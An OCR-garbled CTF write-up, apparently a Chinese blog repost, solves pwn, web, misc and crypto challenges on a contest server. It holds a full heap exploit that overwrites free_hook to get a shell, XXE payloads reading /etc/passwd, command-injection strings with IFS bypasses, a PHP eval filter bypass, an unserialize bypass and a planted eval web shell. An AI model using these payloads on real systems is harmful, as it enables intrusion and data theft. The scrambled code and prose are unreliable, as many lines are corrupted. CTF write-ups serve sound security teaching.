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FAL

0X00 Pwn1

1pnsigned _ int64 malloc_()

2l o -
3| int v@; // STe4_4

4| char s; // [rsp+18h] [rbp-118h]

S| unsigned _ inté4 v3; // [rsp+118h] [rbp-8h]

6

7 3 = _ readfsqword(®x28u);

8| memset(&s, @, @x1@8uLL);

O

puts(“index:");

ve = read_8();

1| chunk_list[v@] = malloc(@xABulLL);
puts(“content:");

3| read(@, chunk_list[v0], @xA@uLL);
4| return _ readfsqword(@x28u) ~ v3;

®

S}
EFs
LA EmE, AHABF
E IDA View—A [ % Pseudocode—B m Fseudocode—A | @ Hex View—1
lunsigned _ int64 run_()
2
3| dnt vi; // [rsp+8h] [rbp-18
4| pthread_t newthread; // [rsp+l@h bp
5| unsigned _ int64 v3; // [rsp+l1Bh] [rbp
7 3 = _ readfsqword(@x28u);
8| puts("index:");
9] vl = read_8();
18] if (vi< @ || vi> 31 || !chunk list[vi] )
11 exit(e);
12| pthread_create{&newthread, OLL, (void *(*)(void *))start_routine, chunk_list[v1])},
13| sleep(lu);
14| return _ readfsqword(@x28u) ~ v3; _
15[} =5E iC

sleepB Z&ERS
iR B B 2%

FERAHZLERSBHE Isleep(3), runfGHEXT R HEfreeriZ J5, FTDAMEERHIbE . A< iz A2 [B] 45 3
HEERlibc2.27, Fubuntu18.04E MM, 51T EHiFtcacheskitt&Elibc, 4 )5 @ idrunk&kfdA
free_hook, #RJ5FmallocHik, % —ikEfree_hook Nsystemithlit, FdeleteE Bigetshell,

from pwn import *
context(os="1linux',arch="amd64',aslr= 'False',log level='debug"')

local = o
if local ==
p = process('./pwnl')


https://hetian.blog.csdn.net
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_38154820/article/details/106330103

elf = ELF('./pwnl")
libc = elf.libc

#p =process(['/1ib64/1d-1inux-x86-64.s0.2"', './pwnl’,

else:

p =remote("119.61.19.212",8087)
elf = ELF('./pwnl")

libc = ELF('./libc-2.27.s0")

def add(index, content):
#p.recvuntil('3.run\n')
p.sendline('1")
.recvuntil('index:\n")
.sendline(str(index))
.recvuntil('content:\n")
.sendline(content)

def delete(index):
p.recvuntil('3.run\n")
p.sendline('2")
p.recvuntil('index:\n")
p.sendline(str(index))

def run(index, key):
#p.recvuntil('3.run\n")
p.sendline('3")
p.recvuntil('index:\n")
p.sendline(str(index))
p.recvuntil('input key:")
p.sendline(str(key))
sleep(1)
delete(str(index))

for i in xrange(8):
add(i, 'A\n")

for i in xrange(7):
delete(6-1i)

run(7,0)

p.recvuntil('3.run\n')
leak = u64(p.recvn(6).ljust(8,'\0"))
loe.success('leak : ' +hex(leak))

'./libc.so0.6'])



B = e meNT s

libc_address = leak - ©x3ebca®

system = libc_address +libc.symbols['system']
free_hook = libc_address +libc.symbols['_free_hook']

log.success('system : +hex(system))

log.success('free_hook : ' +hex(free_hook))

add(e, 'A'*0x10)
add(1, 'A'*0x10)
run(90,0)

p.recvuntil('3.run\n")

heap_addr =u64(p.recvn(6).1ljust(8, '\0')) - 0x160
log.success('heap_addr : ' +hex(heap_addr))

addr = heap_addr ~ free_hook

run(1,addr)

p.recvuntil('3.run\n")

addr2 =u64(p.recvn(6).1ljust(8, '\0'))
log.success('heap_addr2 : ' +hex(addr2))

add(2, '/bin/sh\xee")
add(3,p64(system))

delete(2)
p.interactive()

ine(sltr(indek)).

'2\n7‘ )

Intil('content:\n") [*] Switching to interactive mode
ine(content) cat flag
. [ ] Sent Bx9 bytes:
ite(index): ‘cat flag\n'
Iljtll('S .run\n') [ ] Received Bx26 bytes:
dne('2') 'flag{85B367076A1B7177F@F2945DA9DFE599} *

INtil('index:\n') flag{85B367076A1B7177F0F2945DA9DFE599} ¢ [
dne(str(index))

index, key): ==



PWNRCTFS#HPERER, FEEESFIETFHERDITE I ULRFEIZE SExploitFIF% 588 /. X
PWN) % > /] 26 R W 25050 = % ) i ——CTF-PWNRFIC &, FTHEM T 4l

S
AL
0x01 Web
>
1. XBIEL T
BMXFF: 127.0.0.1, admin=1
Request Response
Raw | Params ] Headers [Hex | Raw | Headers ]Hex ]R‘ende:
GET / HTTP/.1 [ HTTP/1.1 200 OK
Host: 119.61. 19, 212:8084 Date: Tue, 10 Sep 2019 10:33:07 €
User-Agent: Mozilla5.0 (Windows NT 10.0: WOW&4: rv:56.0) Server: Apache/2.4.18 (Ubuntu)
Gecko/ 20100101 Firefox/56.0 Set-Cookie: admin=0
Accept: text/html, application/xhtml+xml, application/xml .q=0.9, */*.q=0.8 Content-Length: 21
Accept-Language: zh-CN, zh;q=0. 8, en-U5:g=0. 5. en;q=0. 3 Gonnection: close
Accept—Encoding: gzip, deflate Content-Type: text/htm charset=
Cookie: admin=1
X—Forwarded—For: 127.0.0.1 okflag{xxas! add forl
Connection: close EI-7_.’.=;_IJE
Upgrade- Insecure-Requests: 1

2. XX?

BEVEL, UABERRE, ZRERAXXER T

<?xml version="1.0"encoding="IS0-8859-1"?>
<!DOCTYPE foo [ <!ELEMENTfoo ANY >
<IENTITY xxe SYSTEM"file:///etc/passwd" >]>
<creds>

<user>&xxe;</user>

<pass>mypass</pass>

</creds>



POST /index.php HTTP/1.1

Host: 119 61.19. 212:8083

User-Agent: Mozilla/5 0 (Windows NT 10.0: WOWA4: rv:54. O
Brcka/ 20100101 Firefox/56,0

Accept: text/himl, application/shtml+xml, spplication/sml q=0.9 %% =0 8
hecept-Language: zh—CN. zh:g=0.8, en-U5 g=0.5 en:a=0. 3
tccept-Encoding: gzip. deflate

Cookie: admin=0

X-Forwarded-For: 8 8.8 8

Connection: close

Upgrade-Insecur a-Requests. 1

Centent-Type: applicationx-www—Fform—ur lancoded
Content-Length- 194

?aml version="10" encoding="130-8859-1"2>
<IDOCTYPE foo [ <!ELEMENT foo ANY >
CIENTITY xxe SYSTEM “file://‘etc/passwd” 2]
<oreds?

fuserdline  {/userd

{pasedmypass{/pase’
leradey

PA PR B flag.php

N HTTR/1.1 200 OK

Date: Tue, 10 Sep 2019 11:09:25 GMT
Server: Apache/Z. 4. 18 (Ubuntu)

Wary: Accept-Encoding

Content-Length: 1247

Connection: close

Content-Type: text/html; charset=UTF-8

GTF :<brrroot ;x:0:0: root : froot : /bin/bash
daemon:x:1:1:daemon: /usr/sbin: fusr/shin
bin:x:2:2:bin:/bin:/ver/sbin/nelogin
sys:x:3:3 eye SdoviSusrsebin/nelegin
syne sk 4:65534: sync: /bin:sbindsyno
etk -5 o060 pomen s AunEd pamse st LabiTn
man . x: 612 man:Avar Scaches/man . Susr Sebin
Ip:x:7:7:1p:/var/epoo |/ lpd: /usr/sbin/no
mail:x:8:8:mail:/var/mail:/usr/sbin/nol
news:x:%:7 news:/var/spool/news Susr/sb
i A0 A0 cp - Avme Fapoa | Suvog: Suse 7
proxy:x:13:13:proxy: /bin:fuer/ebin/noleo
www—date:x 3333 wew—data: var S www Susr
backup:x:34:34:backup:/var/backupa: /usr
list:x:38;38; ing List Momager:/var/
iroix:39:39 ¥ i

. (admin) :/var/1ib/gnats:  usr/ebin/nologi
[# | mnhadu-w-ARRREA - ARERL - nahadu - fnaney i stan

<?xml version="1.0"encoding="IS0-8859-1"?>

<!DOCTYPE foo [ <!ELEMENTfoo ANY >

<IENTITY xxe SYSTEM"php://filter/read=convert.base64-encode/resource=flag.php">]>

<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

| [iRaw Paras | eaders [ viox [ |

Jf] s s v

POST /index. php HTTP/1.1

Host: 119.41.19.212:B083

User-Agent: Nozilla/5. 0 (Windows NT 10.0: WOW&<: rv:56.0)
Geoko/ /20100101 Firefox/56.0

Accept: text/html, application/shtal+xml, application/sml q=0.9 %% g=0.8
hocepi-Language: zh-CN. zh:g=0. B, en-U3:9=0. 5, en:q=0.3
Aocept-Encoding: gzip, deflate

Cookie: admin=0

X-Forwarded-For: 8 B B B

Comnection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-url|encoded
Content-Length: 233

T

“?xml version="1.0" encoding="|50-B859-1"7>
<IDOCTYPE foo [ <|ELEMENT foo ANY >
CIENTITY xxe SYSTEM
“pho: //filter /read=convert. basetd-encodef resource=F lag. php® 31>
<crads>
CuserYhuxe; Cuser>
<passmypass/pass’

HTTR/1.1 200 OK

Date: Tue, 10 Sep 2019 11:11:28 GNT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: &0

Connection: close

Content-Type: text/html: charset=UTF-3

CTF: <br >PO9waHAKL yPmbGF e 0 | VeWF z ZDgy M TMxM iMxM I

<?php
MMlag]lUyasd8213123123890)
o

BT Ephp B Dy IO B B F BT T, 7T B & RN % 500 % 5 3] S ——PHP R &Rtk 2 i i, 7T

T T —4ERG T TR X




3. Ping—F
fuzzz Ja, "TLAURIR|#EuE, BT RS ARE

0 200
3 Il 200
4 &4 200
7 information_schema 200
21 concat 200
24 locate 200
37 show 200
43 group_concat 200
51 execute 200
B2 200
B5 %0d 200
BB %0a 200
72 & 200
89 < 200
80 = 200
98 | 200
B3 400
61 = 200
64 %al 200

KHlcat, phpRr-ES, A EIRIA:

000000000000 00O008C

ol

—
!
W5

0000000000000 00C

171
B R e B3 BRI R BRI B RS ORI ORI ORI ORI BRI R R BRI BRI RD

%3Bc\at%24%7BIFS%7Din\dex.p\hp, {HZJFEAEERIEATEE:

IET Sindex. phoPA=%3Be) ath24478 IFSSTDIn\des. pihp HTTPA1. 1 i
fost- 119.41. 19 212:BD&1 r
Jeer-Agent: Mozilla/5.0 (Mindows NT 10.0. WOM&A: ry: 56, 0)
3echo/20100101 Firefox/56. 0

lecepl: taxt)
\ooept-Lang
beeapt-En.
tefarer: htt

Soohie: B

ml, appl ication/xhtml+xm|, application/kml  g=0.9, %/%.9=0.8
- zh=CN, zh:g=0. 48, en-U5:0=0. 5, en:g=0.3

gzip, deflate
19, 61,19, 2128081 7

<Adiv

You GCommand: pir
cevat$fIFS) intdex. pihp

“div style="text-align: center:"%

<h3>

Tphp
php

{5RF-TOKEN== ThaSYhkZv, rh B1 rT1RSHHEWATOR | iwidaF sdlUi0iJOZ
e iVnSEptNGTia1RmY
PZDRIOTH jYz Wk

it

{-Forwarded-For: 8, 8,8 8
Zonnection: ¢lose
Jpgrade-Insecure—Requests: 1

ik Ftailay < S BUR G — 1T

%3Bta\il%24%7BIFS%7D-1%24%7BIFS%7D/fl\ag

&5 ibe/mdui /0. 4.1

jquery. cony’ jquer



GET /index. php?A=5%3Bta) i 1924378 I FSATD-14247TBIFSATOF 1 \ag WTTR/1. 1 i
r

Host: 119, 41,19, 2128081 button class="adui-btn mdui-btn El -
Usar-Agent: Mozilla/5.0 (Windows NT 10.0: MOWS4: rv:56.0) mdui-color-theme-sceent mdui-float-right
Backo/20100101 Firefox/56,0 mdui-ripple > ChaxPing!</hd></button?

Accept: text/html, application/xhtmi+xml, application/sml;g=0.%, */%.q=0.8 div>

hooept-Language  zh-CH. zh:.o=0. B, en-US:a=0. 5, en:a=0. 3 w3

hccept-Encoding gzip, deflate b >

Referer: http 119.61.19. 212: 8081/ 4div style="text-align: center

Cookie: admin=0 s
You Command: ping -c 4

ka\ i IS LIFSI-1$[IFS)/F1\ag F

OMIMGTxMGQ 1 NEYVRNDY Y TFINRZ
iJ9

WMTEDDDdm
S0 ZNmAmZWN z YmF

<?php
error_reporting(E_ALL~E_NOTICE~E_WARNING);
function GetYourFlag(){

echo file_get_contents("./flag.php");

if(isset($_GET['code'])){
$code = $_GET['code'];
//print(strlen($code));

if(strlen($code)>27){

die("Too Long.");

if(preg_match('/[a-zA-Z0-9_8&"<>"\']+/',$_GET['code'])) {
die("Not Allowed.");
}
@eval($_GET['code']);
}else{
highlight_file(__FILE_ );

v =

FKHABRKITR, B&Eurldid

def get(shell):
hexbit="'".join(map(lambdax: hex(~(-(256-ord(x)))),shell))
print(hexbit)

get('GetYourFlag')
Oxb80x9a0x8bOxa60x900x8a0x8dOxb90x930x9e0Xx98
oxik N %

g Lload URL m'ew-source:http:fﬂ19.61.19.212:8082/index.php?code:(~%b8%9a%Bb%a6%90%8a%8d%b9%93%9&%98)0:|
| split URL

Execute

[JEnable Post data [] Enable Referrer

{Pphp
$riag="flag{3904chdf2e894callali0f4rfep2le6Ir} ™
7>




5. API
INT

¥l = @ SQL- XS5 Encryption= Encoding-

Other~

& load URL
% split URL

¥) Execute

http://119.61.19.212:8086/api

[ lEnable Postdata [ | Enable Referrer

Post filename’,and u give this api array,u can

FERMNpost¥idE £, A& post—TF

@ Lload URL
% split URL

*)  Execute

read fi

£ orin s
Aol

http://119.61.19.212:8086/api

Enable Post data [ ] Enal

Post data filename=aaaa

sorryjson decode error!

KPjson_decode, BATIAE Kikjsonkg it &

 I— L L L

_ — L L "

POST /api/ HTTP/1.1

Host:. 119. 61.19.212.6086

User-Agent: Mozilla/5 0 [Mindows NT 10.0: WON&4: rv-56. 0}

Gecko 20100101 Firefou/56.0

Accept: text/htaml, application/xhtml*xnl, application/xnl:g=0. 9. */*:g=0 B
Accept-Lenguage: zh-CN, zh:g=0. B, en-US:q=0. 5. en:q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x—www-form-ur lencoded

Content-Length. 2%

Cookie: admin=0

XSRF-TOKEN=0yJpd i |61 nBrbN | ZKZ00dWt YN ub | ¥ 2bORRREESRS 15 nZhbHY 11 joiZDYy0
UgSa¥wy¥VpnatZINURobN 1 oYk #Hb | ZwaZRpNnJENE 1 SYRQTRT I e Bk IMBF pydkR jd 1dGNGN o
nZRVUgSbaVCMKF aVTFF andsT jB4U1pZWDZhSUNBPTO: LCJt YN i0i 1 2YzNublz |ahml 10DJnY
zewY JF JMOFmNzMGYWUWNZEZZTd | Za ) 0¥ 2EwNWVIMzExDDJ 1 ¥ 2 A3M2 0y Z j8 TMmd i NTVR 1043
D

loravel_session=eyJpdi 161 [FsTTFHN E2TUJcL2Z 156 15ENJSHINPTOILCJZYIX1Z5 146
I kpWbemk SUnJManXSXdoUU4ZcNZtNTBUZINDYT 10bTVERF poMkxEek | z0ER | =MRMRE1cL2ED
Sl XQVASMURHNU | 2UUGtNMnp jME41VVJ 1 cEpUcFFKNnR5dz07 1 iwib¥F |1 joi OTkeMBOSZTR |
WS LM MOV ZUSY a4 NZF I INR M g IMGY 3H2 ESNDY s NDigyM | ¥ w0 TRAMZUZMNOx0TBRNzMeNz | &
myJ?

X-Forwarded—For: B. B B.8

Connection: close

Upgr ade— | nsecur p-Requests - 1

filename=["file’ " index. php']

BB T IR

Te

Connpction: close
Content—Type: text/html; charset=UTF-§

<Tohp
if(isset (§_POST Filename 1)) {
§file=json_decode (§_POST[ filanome'], true)
if(json_last error ()1
die("sorry, json_decode error!®);
leleai
iflarray_key_exists(“file”, $Filel] |
ifistristr(§Filal"file'], "3
die(*sorryl’);
telsel
echo file_get_contente(SFile[ file']);
1
telsei
die(’sorry, u cannot readfile’);
I
t

lalael

echo “Post "filename’ and u give his api array,u car

LT
o S B



<?php
if(isset($_POST['filename'])){

$file=json_decode($_POST['filename'],true);

if(json_last_error()){
die("sorry,json_decodeerror!");
}else{
if(array_key_exists("file",$file)){
if(stristr($file['file'], " 'f')){
die('sorry!');

}else{
echofile_get_contents($file['file']);
}

}else{

die('sorry,u cannotreadfile');

}

}

}else{

echo "Post™ filename™ ,and u give this api array,u can read file";

}

?>

B EZ, RWGFERESME, %E.DS_Store

| .DS_Store 20
] api 20
=2 fffffaa_not.php 20
] hack.php 20
& index.php

RIS

ERXERTRA, —ERAE, BRBHEHEFRER

Accept: text/html, application/xhtmi+xml, application/xml:q=0.9 */*;q=0.8
Accept-Language: zh—CN, zh;0=0.8, en-U5:9=0. 5, an;g=0. 3

tecept-Enceding: gzip, deflate

Content-Type: application/x-wew-formur |encoded

Content-Length: 32

Cookie: admin=0:

XSRF-TOKEN=eyJpdi | &1 nBnrlN| ZK2pOditoYUYUb | YzbOhReEEFPS | s InZhbHV | | joiZDYyD
UgSaVweV¥ps INURob#1 o¥kFHb jZwalRpNaJEWE1SYEOTRT | e WhZMbFpydhR jd | 46NGN i o
nZRY NTFFamJsT MWOZHSUNBPTO | LCHEYWM 01 | 2¥ zNaMz Imlim | 100JmY
zowY jF jMGFmNzMSYWUSNZEZZTd 1 Zm1 OYzEwNWVIMZE 0D J 1 YZAIMz | yZ jA TMmJ iNTVR In0%3
'

laravel_session=eyJpdi|é] jJFaTTFHN jEzTUJeLzZ i 56J 1 aENJSHJ ILCJIVW21Z516
1 kpfibmk 3UmManhXSXd6ULUA ZcWZ ENTBUZZNDY T 1 Qb TVERF péMbxEek | 20Eh | eNRMRE1cL2tD
Sm1 NGV dSMUpHAU | zUGENmp jWE21 VY1 cEplcF FENmEsdz0% | iwi bWF j 1 joi OTkwMWOSZTR
NWJ M NOYZUSYmMANZFRZINR M jg ZMGY 3Nz | SNDV i NDgy M j YwO TRmMZUZMRO xOTBKN zMwNz | 4
NyJ?
X-Farwarded-For
Connection: close

B.8.8.8

Upgrade- Insecure-Requests

filename=["file":". . /findex. php"]

W

POST Japi/ HTTP/1.1 4 | HTTR/1.1 200 OK

Hest: 119.61. 19 212:8084 r Date: Mon, 09 Sep 2019 09:52:51 GMT
User-Agent: Nozilla/5. 0 (Windows NT 10.0. WOWS4; rv:56.0) Server: Apache/2 4 18 (Ubuntu)
Gecko/ /20100101 Firefox/56,0 Vary: Accept-Encoding

Gontent—Length: 342
Connection: close
Content-Type: text/html. charset=UTF-8
Tphp
require_once [ hack. php'} :
acho “Apilwow”
function do_unserialize ($value) |
preg_matoh (' /[oc] -\
it (count (§match
return unserialize(
1
$x = new hack ()|
iflisset(§ [*flag"1))
it (lempty(8e)} |
$x = do_unserialize($g)

$value) ;

$g = $_GET['flag’]

1
echo $x—>readfile();
ks

H 400 $value,
Ireturn false



<?php
require_once( 'hack.php');
echo "Api!wow";
functiondo_unserialize($value){
preg_match('/[oc]:\d+:/i', $value, $matches);
if (count($matches)){return false;}
returnunserialize($value);
}
$x = new hack();
if(isset($_GET['flag'])) $g =$_GET['flag'];
if (lempty($g)) {
$x = do_unserialize($g);
}
echo $x->readfile();
?>
4k Sk hack.php
<?php
class hack {
public $file;
function__construct($filename = '') {
$this -> file =$filename;

}

function readfile() {
if (lempty($this->file)&& stripos($this->file,'..')===FALSE
8&&stripos($this->file,'/')===FALSE &&stripos($this->file,'\\')==FALSE) {
return@file_get_contents($this->file);
}
}

}
//fffffaa_not.php
?>

B M P BIL R s B fffffaa_not.php, 785t IEN, @id+, 753

O:4:"hack":1:{s:4:"file";s:15:"fffffaa_not.php";}, urldecode)5%5
3:0%3A%2b4%3A%22hack%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A15%3A%22fffffaa_not.php¥%
F

a4 LI

EEIAEE



<?php

$text =$_GET['jhhes8ss111ijn'];
$filename = $_GET['file_na'];
if(preg_match('[<>?]',$text)) {
die('error!');

}

if(is_numeric($filename)){
$path="/var/www/html/uploads/".$filename." .php";
}else{

die('error');

}
file_put_contents($path,$text);
?>

fERBASEIEN, 5A—/shell:

http://119.61.19.212:8086/fffffaa_not.php?jhh08881111jn[]=<?php@eval($_POST["star"]);?>&file_na=1

@ Lload URL |htp:i//119.61.19.212:8086/uploads/1.php
8 splitURL
) Execute
Enable Post data [ | Enable Referrer
Post data star=phpinfo(;

Y BTH--E/.6

JIFE 118.61.19.212  119.61.19.212
A ffag_ahajjdhh11qwe

flag{Oiahhh1 iiu123}

0x02 Misc

XCTFMiscSE &k & I W H# T 5 — 4B %3



1. SERHI IR
base58, £%:
https://xz.aliyun.com/t/2255

MREBEER, MEWRHRT, RHREFRBERLK, BER.

# _ b58chars ='123456789ABCDEFGHIKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
__b58chars ='ABCDEFGHIKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz123456789"
__b58base = len(__b58chars)

def b58encode(Vv):

encodev, which is a string of bytes, to base58.

long_value =int(v.encode("hex_codec"), 16)

result =
while long_value >=__ b58base:
div, mod =divmod(long_value, __ b58base)

result =_ b58chars[mod] + result
long_value = div
result =__b58chars[long_value] + result

# Bitcoin does a littleleading-zero-compression:
# leading @-bytes in theinput become leading-1s

nPad = 0

for c in v:
if ¢ == '\@":
nPad += 1

else:

IRy



predk

return (__b58chars[0] *nPad) + result

def b58decode(v):
""" decodev into a string of len bytes

long_value = oL
for (i, c) inenumerate(v[::-1]):
long_value +=__b58chars.find(c) * (__b58base ** i)

result =
while long_value >=256:

div, mod =divmod(long_value, 256)
result = chr(mod) +result
long_value = div

result = chr(long_value) +result

nPad = 0

for c in v:

if ¢ == __b58chars[0]:
nPad += 1

else:

break

result = chr(@) * nPad +result
return result

if __pame__ == "__main__":
# print b58encode("helloworld")
print b58decode("RIvOmjS1bM9MZafGV77uTyDaapNLSk6t35852Mdf1pbCBYyFEiVpX")



flag{adb88f7b70a

Process finished with exit ¢

2. g
X TE R AR R Sk — T AT T .
% Fmagicheader/E 4 #:

http://turingh.github.io/2016/03/07/mach-
0%E6%96%87 %E4%BB%B6 %E6%A0%BC%ES5%BC%8F %E5%88 %86 %E6%9E %90/

magic OxFEEDFACEZ32{iI, OxFEEDFACFZ641il
cputype
RECPURNFESSHEE, (ARM-V7)

cpusubtype

filetype SR (BT, ESXF. Core. AEEYR

ncmds

Load Commands#y P Ef<E

sizeofncmds

flags dyld & BaImE U

Reserved | RBGMIMETRT FIENTR, LG

B %R Mstringsjpg EE 2 T __mh_execute_header. /usr/lib/libSystem.B.dylibiX £&#7 £ macho ) 7] $h4T 304
X, REMEBEEHL, AP Oxfeedface B} Oxfeedfacl, 45/ K/ Rk 7 GkidaEEE, R
Ja B2 Oxcffaedfe & xF #y, H Szt rr PAAJE " 0x07000001° 2 R K& K.

BEBEERRELRT, #MFBTIRAT T

= sy wamww ru —_ f o ————— f— = Prees wamwe a Loy -

__int64 start() w
{
char v1; // [rsp+10h] [rbp-30h]

if ( vl == 48 )
sub_100000E40 (&v1);
return OLL;

TR Al meieny
} = Sy

1
2
3
E
5 strcpy(&vl, "938gcel 872db99db b342d23c0g9g2d");
6
7
8
9



IDA View-A [ Pseudocode-A [E) [@  Hex View-1

1lint _ fastcall sub_100000E40 (const char *al)
2{

int i; // [rsp+l14h] [rbp-Ch]

al[i] “*= 1lu;

3

4

P5| for (i =0; i < strlen(al); ++i )
P 6

» 7 return printf("flag#:%s\n", al);
b8

}

. MBS

SERXRNE, LFAMHH:
https://www.sqlsec.com/2018/01/ctfwav.html
Xt EFBEAT AT, B — A zipf:

8 Decode message: D:/CTF/CTFEEEE/2019/EEMIF/Misc/BiS = /m...

Media's encoding format :

~ Options
Sound quality: 93.75%]norma| j
Used channels: [2 channels
Date distribution mode [equidistribution
Header position: [ending
bit(s) per sample per channel:[3 =] —j—
Decoded file

txt.zip

pcovery tool

BENS, RUEZ012817, ZRA3ukHHElk, KW KT128, HBEK, 2@ IRUKER, FRESHAR
BO12EX M H T, 3 TshortOok, RA.! 2, ZikB#k, ELM.



https://www.splitbrain.org/services/ook

ZRNE—T"flag", /3, KAKRZHE A (O, #HWAO, ! M2, HEK—TF

s % el RUIIL LIR.9 Ll 11k

nj
o
ha
FLLL]
M

Jii

R0=>, 1=>7 2=>1, RINFEREE R

RIEREI0=>.1=>1 2=>7

e [OH ] D A G -
o=+ [+
+(I>+ + <{++ +[->- —=]> —-=. {+ ++[-> +++{] >++  +++[-
>=== o=
+++[- D> — (] === . {HH+ e [+ e D+
T+ | -

G o o o o e e i ¢
FH+++ [ D+
+HH+ +]D+ + (H H[-D- —=(]D -+ {HHH+ [ =)
————— J>-- -
—— {F A D A ] D e A (]

Text to Ook! || Text to short Ook! | | Ook!to Text | = &==ic

brainfuckf# % 3 2lflag:

lalala, wo shi mail bao de xiao hang
jia. flag{08277716193edabc592192966e9d6£39} ni neng

dao ta me?

L EREIL

f2E (Stegano) S5HUEZ#T (Forensics) RCTFREBRFMEEMAUZ —, FEEESREFHNEMREE T
B, BREREUKBUESTTRENRAREE, HRXNEITEERMNZLRESYJ—CTF-STEGO%:>, H#
T 4R, BT SOR R R SO R A T A X .



0x04 Crypto

1. REF R A2

RUTFCBCIEHR N, WATMIER IS, FIC BATATCURE —BREIC, 5 R SCMEE — R SR BS 2
key, #RJ5 1 FHkey MR B E SC LA K BT — B SO B A BRI 5L, ARRS I T

def xor(data,key):
return bytes([x ~key[i%len(key)] for i, x in enumerate(data)])

withopen('flag.txt.encrypted', 'rb') as f:
s=f.read()

BLOCK_SIZE=8

sl="have a goodtime".encode()

cl=s[:8]

c2=s[8:16]

c3=s[16:24]

print(cl)

key=xor(xor(cl,s1[8:]),c2)

print(key)

ml=xor(xor(c2,key),c3)

sssssss=""

print(len(s))

for i in range(8,len(s)-8,8):
ml=xor(xor(s[i:i+8],key),s[i+8:1i+16])
sssssss=sssssss+ml.decode('utf-8")
print(sssssss)

2. BHiM4E R

M E—ERPL, FERPITCBCME#N, EHRMNMEMRLSERINY, HTSRFMEET, WAITERHER
—BHXR R, ZRBIERINKBETE N4, R Bkey, ASWT



def xor(data,key):
return bytes([x “key[i%len(key)] for i, x in enumerate(data)])
withopen('flag.txt.encrypted', 'rb') as f:
s=f.read()
BLOCK_SIZE=8
sl="keep away fromxiaocui!".encode()
cl=s[-16:-8]
c2=s[-24:-16]
c3=s[-32:-24]
key=[]
for i in range(8):
ml=s1[i+8:i+16]
key.append( (xor(xor(c1,ml),c2)))
for i in key:
print(xor(xor(c2,i),c3))

RAEE T Fkey, #HR_E— B 5 23477 BD AT f# i 89 5L

def xor(data,key):
return bytes([x ~key[i%len(key)] for i, x in enumerate(data)])
withopen('flag.txt.encrypted', 'rb') as f:
s=f.read()
BLOCK_SIZE=8
sl="keep away fromxiaocui!".encode()
cl=s[-16:-8]
c2=s[-24:-16]
ml=s1[4+8:4+16]
key=(xor(xor(cl,mi),c2))
c3=s[-32:-24]
mm=xor (xor(c2,key),c3)
print(mm)
i=-16
while i>-200:
c2=s[i-8:1i]
c3=s[i-16:i-8]
mm=xor (xor(c2,key),c3)
print(mm)
i=i-8

3. RSA

XIE N % RERSARVAKE , javarsoj LB ERIBLIH

EAIANETKwp. HEERARITH, NN BEA—F, % htps://www.40huo.cn/blog/rsa-private-key-
recovery-and-oaep.htmlH f1{XAS, & H HRHEEN, HRITKIEEH FHRINERBAE, HT(a2+b)*
(c*2hmr+d)=a*c*2/m*2+a*d*2M+c*b*2"m+b*d, FrbAnHI4E B Ap* g B b7", #b7#h N, RIBWTF

#!/usr/bin/python
#-*- coding:utf-8 -*-

import re
import pickle



from itertools import product
from libnum import invmod, gcd

def solve_linear(a, b, mod):
if a &1 ==0o0r b &1 ==
return None

return (b * invmod(a,mod)) & (mod - 1) # hack for mod = power of 2

def tO_n(s):
s = re.sub(r"[*0-9a-f]","", s)
return int(s, 16)

def msk(s):
cleaned ="".join(map(lambda x: x[-2:], s.split(":")))
returnmsk_ranges(cleaned), msk_mask(cleaned), msk_val(cleaned)

def msk_ranges(s):

return [range(16) if c ==" " else [int(c, 16)] for c in s]

def msk_mask(s):

return int("".join("@"if ¢ == " " else "f" for c in s), 16)



def msk_val(s):
return int(

E

65537

.join("@"if c ==

else ¢ for c in s), 16)

N =to_n("""00:c4:9d:36:a4:77:76:12:12:85:24:6c:74:1d:7d:

b3:
e8:
76:

da

f5:
87:
85:
99:

2c
c6

38:
e6:
27:

bc

6f:
bo:
03:
27:
f2:
b9:

1c

22:
60:
al:

dd

3f:
bo:
da:
06:
do:
c8:
274
43:

5a

Se:
19:

h ranges.

ce
1c

3e:
:82:
7e:
44:
c8:
b6:
:c4:
:3b:
e7:
3f:
30:
:cd
63:
98:
32:
55:
34:
9c:
1e0:
ba:
a2:
79:
162:
68:
57:
:1f:d3:
:82:56:
:73:85:
:b9:a6:

9a
ad
Pa
4c

ad

:f4:c3:
:ce:e8:

b6:10:
57:6d
do:06:
57:c1:
45:e6:
fb:8a
99:10:
af:44:
6f:de:
0b:13:
19:fd

:73:d3:

ed:a6:
0c:85:
03:0c
a3:07:
d5:17:
52:59:
40:97:
09:00:
b8:93:
36:86:
d8:ae:
le:91:
fc:0e:

b1:03:
e7:02:

:b7"""™)

a4:
60:
d3:
168:

8a

97:

Qa

:le:
db:

dc

a5:
54:
:a7:
86:

1d

8f:
:91:

7c

Pe:
03:
36:
b5:

bd
8c

9e:
49:
35:
46:
63:
Se:
da:
cf:
51:

69

90:
a2:
82:
160:
ao:
:88:
9f:
46:
160:
4b:
63:
fe:
be:
:f2:
4b:
23:
:f3:
:bb:
:43:
00:
70:
77:
bl:

tee
do:
61:
:al:
59:
8e:
5f:
09:
:af:
:e9:
13:
13:
ds:
26:
c8:
c9:
15:
32:

ac

tcd
45:
74:
50:
ff:

8a

85:
as8:
e3:
c4:
ae:
e8:

5c
fd

ad
c6
2a

ae:
41:
32:
3f:
bb:
19:
71:
12:
a4:
c2:
15:
a5:
:c5:

nmask msk.

:0b:
56:

da

ds:
82:
12d:
b5:
42:
ag:

53

e3:
2f:
:d8:
:2a
80:
o9f:

4c

oc

68:
56:

9c

83:
56:
b5:
03:
f6:

2e

73:
:f9:
bl:
70:
53:
ff:

3a

a5:
:f6:
le:
Ye:
11:
:ba:

da

e4:
:81:
58:
b6:
23:
d7:
6cC:
48:
a2:
:6b:
2b:
41:
:15:
32:
af:
15:
69:
bf:

nmask

:8f:
ab:
4e:
:92:
72:
93:
c7:
:0a
79:
:e8:

fc

3c

43:
61:
b8:
fe:
:9d:
:26:
6f:
4ad:
6d:
76:
e3:
:3b:
48:
a7:
bl:
fd:
06:
4b:
d2:
69:
99:
f8:
ef:

la

5c¢

val= msk("""00:

dé6:
32:
a5:

20:
f3:
09:

:c9:

93:

11:
ab:
34:
7d:
7a

42:
91:
7d:
33:
09:

